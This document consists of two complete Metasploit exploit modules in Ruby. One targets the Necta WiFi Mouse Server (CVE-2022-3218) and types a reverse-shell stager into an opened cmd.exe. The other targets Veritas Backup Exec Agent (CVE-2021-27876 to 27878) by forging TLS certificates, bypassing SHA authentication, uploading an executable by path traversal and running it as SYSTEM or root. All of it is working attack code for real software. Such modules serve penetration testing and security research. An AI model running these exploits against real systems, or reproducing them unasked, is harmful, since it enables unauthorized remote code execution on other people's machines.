<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = NormalRanking<br /><br /> include Exploit::Remote::Tcp<br /> include Msf::Exploit::CmdStager<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Wifi Mouse RCE',<br /> 'Description' => %q{<br /> The WiFi Mouse (Mouse Server) from Necta LLC contains an auth bypass as the<br /> authentication is completely implemented entirely on the client side. By utilizing<br /> this vulnerability, is possible to open a program on the server<br /> (cmd.exe in our case) and type commands that will be executed as the user running<br /> WiFi Mouse (Mouse Server), resulting in remote code execution.<br /><br /> Tested against versions 1.8.3.4 (current as of module writing) and<br /> 1.8.2.3.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die', # msf module<br /> 'REDHATAUGUST', # edb<br /> 'H4RK3NZ0' # edb, original discovery<br /> ],<br /> 'References' => [<br /> [ 'EDB', '50972' ],<br /> [ 'EDB', '49601' ],<br /> [ 'CVE', '2022-3218' ],<br /> [ 'URL', 'http://wifimouse.necta.us/' ],<br /> [ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/wifi%20mouse/wifi-mouse-server-rce.py' ]<br /> ],<br /> 'Arch' => [ ARCH_X64, ARCH_X86 ],<br /> 'Platform' => 'win',<br /> 'Targets' => [<br /> [<br /> 'stager',<br /> {<br /> 'CmdStagerFlavor' => ['psh_invokewebrequest', 'certutil']<br /> }<br /> ],<br /> ],<br /> 'Payload' => {<br /> 'BadChars' => "\x0a\x00"<br /> },<br /> 'DefaultOptions' => {<br /> # since this may get typed out ON SCREEN we want as small a payload as possible<br /> 'PAYLOAD' => 'windows/shell/reverse_tcp'<br /> },<br /> 'DisclosureDate' => '2021-02-25',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [CRASH_SERVICE_DOWN],<br /> 'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # typing on screen<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> OptPort.new('RPORT', [true, 'Port WiFi Mouse Mouse Server runs on', 1978]),<br /> OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),<br /> OptInt.new('LINEMAX', [true, 'Maximum length of lines to send for stager method. Smaller for more unstable connections.', 1_020]),<br /> ]<br /> )<br /> end<br /><br /> def send_return<br /> sock.put('key 3RTN') # what the mobile app sends<br /> end<br /><br /> def send_command(command)<br /> sock.put("utf8 #{command}\x0A")<br /> sleep(datastore['SLEEP'])<br /> send_return<br /> end<br /><br /> def open_file(file)<br /> file = "/#{file}".gsub('\\', '/').gsub(':', '')<br /> sock.put("openfile #{file}\x0A")<br /> end<br /><br /> def exploit<br /> connect<br /> print_status('Opening command prompt')<br /> open_file('C:\\Windows\\System32\\cmd.exe')<br /> sleep(datastore['SLEEP']) # give time for it to open<br /><br /> print_status('Typing out payload')<br /> execute_cmdstager({ linemax: datastore['LINEMAX'], delay: datastore['SLEEP'] })<br /><br /> handler<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> send_command(cmd)<br /> end<br />end<br /></code></pre>
<pre><code># frozen_string_literal: true<br /><br />##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::Tcp<br /> include Msf::Exploit::Remote::NDMPSocket<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::EXE<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Veritas Backup Exec Agent Remote Code Execution',<br /> 'Description' => %q{<br /> Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.<br /> This authentication scheme is no longer used within Backup Exec versions, but hadn’t yet been disabled.<br /> An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to<br /> the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges<br /> depending on the platform.<br /><br /> The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and<br /> including Backup Exec Remote Agent revision 9.3)<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],<br /> 'References' => [<br /> ['CVE', '2021-27876'],<br /> ['CVE', '2021-27877'],<br /> ['CVE', '2021-27878'],<br /> ['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001']<br /> ],<br /> 'Platform' => %w[win linux],<br /> 'Targets' => [<br /> [<br /> 'Windows',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]<br /> }<br /> ],<br /> [<br /> 'Linux',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'CmdStagerFlavor' => %w[bourne wget curl echo]<br /> }<br /> ]<br /> ],<br /> 'DefaultOptions' => {<br /> 'RPORT' => 10_000<br /> },<br /> 'Privileged' => true,<br /> 'DisclosureDate' => '2021-03-01',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Reliability' => [UNRELIABLE_SESSION],<br /> 'Stability' => [CRASH_SAFE],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],<br /> conditions: ['TARGET', '==', 'Linux'])<br /> ])<br /> deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')<br /> end<br /><br /> def execute_command(cmd, opts = {})<br /> case target.opts['Platform']<br /> when 'win'<br /> wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""<br /> when 'linux'<br /> wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""<br /> end<br /> ndmp_sock = opts[:ndmp_sock]<br /> ndmp_sock.do_request_response(<br /> NDMP::Message.new_request(<br /> NDMP_EXECUTE_COMMAND,<br /> NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr<br /> )<br /> )<br /> end<br /><br /> def exploit<br /> print_status('Exploiting ...')<br /><br /> ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect<br /> fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status<br /><br /> ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)<br /> fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status<br /><br /> ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)<br /> fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status<br /><br /> if target.opts['Platform'] == 'win'<br /> filename = "#{rand_text_alpha(8)}.exe"<br /> ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)<br /> if ndmp_status<br /> ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)<br /> fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status<br /> else<br /> print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')<br /> execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })<br /> end<br /> else<br /> print_status('Uploading payload with CmdStager')<br /> execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })<br /> end<br /> end<br /><br /> def check<br /> print_status('Checking vulnerability')<br /><br /> ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect<br /> return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status<br /><br /> print_status('Getting supported authentication types')<br /> ndmp_msg = ndmp_sock.do_request_response(<br /> NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)<br /> )<br /> ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)<br /> print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|<br /> "#{AUTH_TYPES[k]} (#{k})"<br /> end.join(', ')}")<br /> print_status("BE agent revision: #{ndmp_payload.revision}")<br /><br /> if ndmp_payload.auth_types.include?(5)<br /> Exploit::CheckCode::Appears('SHA authentication is enabled')<br /> else<br /> Exploit::CheckCode::Safe('SHA authentication is disabled')<br /> end<br /> end<br /><br /> def ndmp_connect<br /> print_status('Connecting to BE Agent service')<br /> ndmp_msg = nil<br /> begin<br /> ndmp_sock = NDMP::Socket.new(connect)<br /> rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,<br /> Rex::ConnectionRefused => e<br /> return [false, nil, e.to_s]<br /> end<br /> begin<br /> Timeout.timeout(datastore['ConnectTimeout']) do<br /> ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)<br /> end<br /> rescue Timeout::Error<br /> return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']<br /> else<br /> ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)<br /> end<br /><br /> ndmp_msg = ndmp_sock.do_request_response(<br /> NDMP::Message.new_request(<br /> NDMP::Message::CONNECT_OPEN,<br /> NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr<br /> )<br /> )<br /><br /> ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)<br /> unless ndmp_payload.err_code.zero?<br /> return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]<br /> end<br /><br /> [true, ndmp_sock, nil]<br /> end<br /><br /> def tls_enabling(ndmp_sock)<br /> print_status('Enabling TLS for NDMP connection')<br /> ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)<br /> ndmp_tls_certs.forge_ca<br /> ndmp_msg = ndmp_sock.do_request_response(<br /> NDMP::Message.new_request(<br /> NDMP_SSL_HANDSHAKE,<br /> NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr<br /> )<br /> )<br /> ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)<br /> unless ndmp_payload.err_code.zero?<br /> return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]<br /> end<br /><br /> ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)<br /><br /> ndmp_msg = ndmp_sock.do_request_response(<br /> NDMP::Message.new_request(<br /> NDMP_SSL_HANDSHAKE,<br /> NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr<br /> )<br /> )<br /> ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)<br /> unless ndmp_payload.err_code.zero?<br /> return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]<br /> end<br /><br /> ndmp_msg = ndmp_sock.do_request_response(<br /> NDMP::Message.new_request(<br /> NDMP_SSL_HANDSHAKE,<br /> NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr<br /> )<br /> )<br /> ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)<br /> unless ndmp_payload.err_code.zero?<br /> return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]<br /> end<br /><br /> ssl_context = OpenSSL::SSL::SSLContext.new<br /> ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)<br /> ndmp_sock.wrap_with_ssl(ssl_context)<br /> [true, nil]<br /> end<br /><br /> def sha_authentication(ndmp_sock)<br /> print_status('Passing SHA authentication')<br /> ndmp_msg = ndmp_sock.do_request_response(<br /> NDMP::Message.new_request(<br /> NDMP_CONFIG_GET_AUTH_ATTR,<br /> NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr<br /> )<br /> )<br /> ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)<br /> unless ndmp_payload.err_code.zero?<br /> return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]<br /> end<br /><br /> ndmp_msg = ndmp_sock.do_request_response(<br /> NDMP::Message.new_request(<br /> NDMP::Message::CONNECT_CLIENT_AUTH,<br /> NdmpConnectClientAuthReq.new(<br /> {<br /> auth_type: 5,<br /> username: 'Administrator', # Doesn't metter<br /> hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)<br /> }<br /> ).to_xdr<br /> )<br /> )<br /> ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)<br /> unless ndmp_payload.err_code.zero?<br /> return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]<br /> end<br /><br /> [true, nil]<br /> end<br /><br /> def win_write_upload(ndmp_sock, filename)<br /> print_status('Uploading payload with NDMP_FILE_WRITE packet')<br /> ndmp_msg = ndmp_sock.do_request_response(<br /> NDMP::Message.new_request(<br /> NDMP_FILE_OPEN_EXT,<br /> NdmpFileOpenExtReq.new(<br /> {<br /> filename: filename,<br /> dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',<br /> mode: 4<br /> }<br /> ).to_xdr<br /> )<br /> )<br /> ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)<br /> unless ndmp_payload.err_code.zero?<br /> return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]<br /> end<br /><br /> hnd = ndmp_payload.handler<br /> exe = generate_payload_exe<br /> offset = 0<br /> block_size = 2048<br /><br /> while offset < exe.length<br /> ndmp_msg = ndmp_sock.do_request_response(<br /> NDMP::Message.new_request(<br /> NDMP_FILE_WRITE,<br /> NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr<br /> )<br /> )<br /> ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)<br /> unless ndmp_payload.err_code.zero?<br /> return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]<br /> end<br /><br /> offset += block_size<br /> end<br /><br /> ndmp_msg = ndmp_sock.do_request_response(<br /> NDMP::Message.new_request(<br /> NDMP_FILE_CLOSE,<br /> NdmpFileCloseReq.new({ handler: hnd }).to_xdr<br /> )<br /> )<br /> ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)<br /> unless ndmp_payload.err_code.zero?<br /> return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]<br /> end<br /><br /> [true, nil]<br /> end<br /><br /> def exec_win_command(ndmp_sock, filename)<br /> cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""<br /> ndmp_msg = ndmp_sock.do_request_response(<br /> NDMP::Message.new_request(<br /> NDMP_EXECUTE_COMMAND,<br /> NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr<br /> )<br /> )<br /> ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)<br /> unless ndmp_payload.err_code.zero?<br /> return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]<br /> end<br /><br /> [true, nil]<br /> end<br /><br /> # Class to create CA and client certificates<br /> class NdmpTlsCerts<br /> def initialize(hostname, ip)<br /> @hostname = hostname<br /> @ip = ip<br /> @ca_key = nil<br /> @ca_cert = nil<br /> @be_agent_cert = nil<br /> end<br /><br /> SSL_HANDSHAKE_TYPES = {<br /> SSL_HANDSHAKE_TEST_CERT: 1,<br /> SSL_HANDSHAKE_CSR_REQ: 2,<br /> SSL_HANDSHAKE_CSR_SIGNED: 3,<br /> SSL_HANDSHAKE_CONNECT: 4<br /> }.freeze<br /><br /> attr_reader :ca_cert, :ca_key<br /><br /> def forge_ca<br /> @ca_key = OpenSSL::PKey::RSA.new(2048)<br /> @ca_cert = OpenSSL::X509::Certificate.new<br /> @ca_cert.version = 2<br /> @ca_cert.serial = rand(2**32..2**64 - 1)<br /> @ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")<br /> extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)<br /> @ca_cert.extensions = [<br /> extn_factory.create_extension('subjectKeyIdentifier', 'hash'),<br /> extn_factory.create_extension('basicConstraints', 'CA:TRUE'),<br /> extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')<br /> ]<br /> @ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))<br /> @ca_cert.public_key = @ca_key.public_key<br /> @ca_cert.not_before = Time.now - 7 * 60 * 60 * 24<br /> @ca_cert.not_after = Time.now + 14 * 24 * 60 * 60<br /> @ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))<br /> end<br /><br /> def sign_agent_csr(csr)<br /> o_csr = OpenSSL::X509::Request.new(csr)<br /> @be_agent_cert = OpenSSL::X509::Certificate.new<br /> @be_agent_cert.version = 2<br /> @be_agent_cert.serial = rand(2**32..2**64 - 1)<br /> @be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24<br /> @be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60<br /> @be_agent_cert.issuer = @ca_cert.subject<br /> @be_agent_cert.subject = o_csr.subject<br /> @be_agent_cert.public_key = o_csr.public_key<br /> @be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))<br /> end<br /><br /> def default_sslpacket_content(ssl_packet_type)<br /> if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]<br /> ca_cert = @ca_cert.to_s<br /> agent_cert = @be_agent_cert.to_s<br /> else<br /> ca_cert = ''<br /> agent_cert = ''<br /> end<br /> {<br /> ssl_packet_type: ssl_packet_type,<br /> hostname: @hostname,<br /> nb_hostname: @hostname.upcase,<br /> ip_addr: @ip,<br /> cert_id1: get_cert_id(@ca_cert),<br /> cert_id2: get_cert_id(@ca_cert),<br /> unknown1: 0,<br /> unknown2: 0,<br /> ca_cert_len: ca_cert.length,<br /> ca_cert: ca_cert,<br /> agent_cert_len: agent_cert.length,<br /> agent_cert: agent_cert<br /> }<br /> end<br /><br /> def get_cert_id(cert)<br /> Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')<br /> end<br /> end<br /><br /> NDMP_CONFIG_GET_AUTH_ATTR = 0x103<br /> NDMP_SSL_HANDSHAKE = 0xf383<br /> NDMP_EXECUTE_COMMAND = 0xf30f<br /> NDMP_FILE_OPEN_EXT = 0xf308<br /> NDMP_FILE_WRITE = 0xF309<br /> NDMP_FILE_CLOSE = 0xF306<br /><br /> AUTH_TYPES = {<br /> 1 => 'Text',<br /> 2 => 'MD5',<br /> 3 => 'BEWS',<br /> 4 => 'SSPI',<br /> 5 => 'SHA',<br /> 190 => 'BEWS2' # 0xBE<br /> }.freeze<br /><br /> # Responce packets<br /> class NdmpNotifyConnectedRes < XDR::Struct<br /> attribute :connected, XDR::Int<br /> attribute :version, XDR::Int<br /> attribute :reason, XDR::Int<br /> end<br /><br /> class NdmpConnectOpenRes < XDR::Struct<br /> attribute :err_code, XDR::Int<br /> end<br /><br /> class NdmpConfigGetServerInfoRes < XDR::Struct<br /> attribute :err_code, XDR::Int<br /> attribute :vendor_name, XDR::String[]<br /> attribute :product_name, XDR::String[]<br /> attribute :revision, XDR::String[]<br /> attribute :auth_types, XDR::VarArray[XDR::Int]<br /> end<br /><br /> class NdmpConfigGetHostInfoRes < XDR::Struct<br /> attribute :err_code, XDR::Int<br /> attribute :hostname, XDR::String[]<br /> attribute :os, XDR::String[]<br /> attribute :os_info, XDR::String[]<br /> attribute :ip, XDR::String[]<br /> end<br /><br /> class NdmpSslHandshakeRes < XDR::Struct<br /> attribute :data_len, XDR::Int<br /> attribute :data, XDR::String[]<br /> attribute :err_code, XDR::Int<br /> attribute :unknown4, XDR::String[]<br /> end<br /><br /> class NdmpConfigGetAuthAttrRes < XDR::Struct<br /> attribute :err_code, XDR::Int<br /> attribute :auth_type, XDR::Int<br /> attribute :challenge, XDR::Opaque[64]<br /> end<br /><br /> class NdmpConnectClientAuthRes < XDR::Struct<br /> attribute :err_code, XDR::Int<br /> end<br /><br /> class NdmpExecuteCommandRes < XDR::Struct<br /> attribute :err_code, XDR::Int<br /> end<br /><br /> class NdmpFileOpenExtRes < XDR::Struct<br /> attribute :err_code, XDR::Int<br /> attribute :handler, XDR::Int<br /> end<br /><br /> class NdmpFileWriteRes < XDR::Struct<br /> attribute :err_code, XDR::Int<br /> attribute :recv_len, XDR::Int<br /> attribute :unknown, XDR::Int<br /> end<br /><br /> class NdmpFileCloseRes < XDR::Struct<br /> attribute :err_code, XDR::Int<br /> end<br /><br /> # Request packets<br /> class NdmpConnectOpenReq < XDR::Struct<br /> attribute :version, XDR::Int<br /> end<br /><br /> class NdmpSslHandshakeReq < XDR::Struct<br /> attribute :ssl_packet_type, XDR::Int<br /> attribute :nb_hostname, XDR::String[]<br /> attribute :hostname, XDR::String[]<br /> attribute :ip_addr, XDR::String[]<br /> attribute :cert_id1, XDR::Int<br /> attribute :cert_id2, XDR::Int<br /> attribute :unknown1, XDR::Int<br /> attribute :unknown2, XDR::Int<br /> attribute :ca_cert_len, XDR::Int<br /> attribute :ca_cert, XDR::String[]<br /> attribute :agent_cert_len, XDR::Int<br /> attribute :agent_cert, XDR::String[]<br /> end<br /><br /> class NdmpConfigGetAuthAttrReq < XDR::Struct<br /> attribute :auth_type, XDR::Int<br /> end<br /><br /> class NdmpConnectClientAuthReq < XDR::Struct<br /> attribute :auth_type, XDR::Int<br /> attribute :username, XDR::String[]<br /> attribute :hash, XDR::Opaque[32]<br /> end<br /><br /> class NdmpExecuteCommandReq < XDR::Struct<br /> attribute :cmd, XDR::String[]<br /> attribute :unknown, XDR::Int<br /> end<br /><br /> class NdmpFileOpenExtReq < XDR::Struct<br /> attribute :filename, XDR::String[]<br /> attribute :dir, XDR::String[]<br /> attribute :mode, XDR::Int<br /> end<br /><br /> class NdmpFileWriteReq < XDR::Struct<br /> attribute :handler, XDR::Int<br /> attribute :len, XDR::Int<br /> attribute :data, XDR::String[]<br /> end<br /><br /> class NdmpFileCloseReq < XDR::Struct<br /> attribute :handler, XDR::Int<br /> end<br />end<br /></code></pre>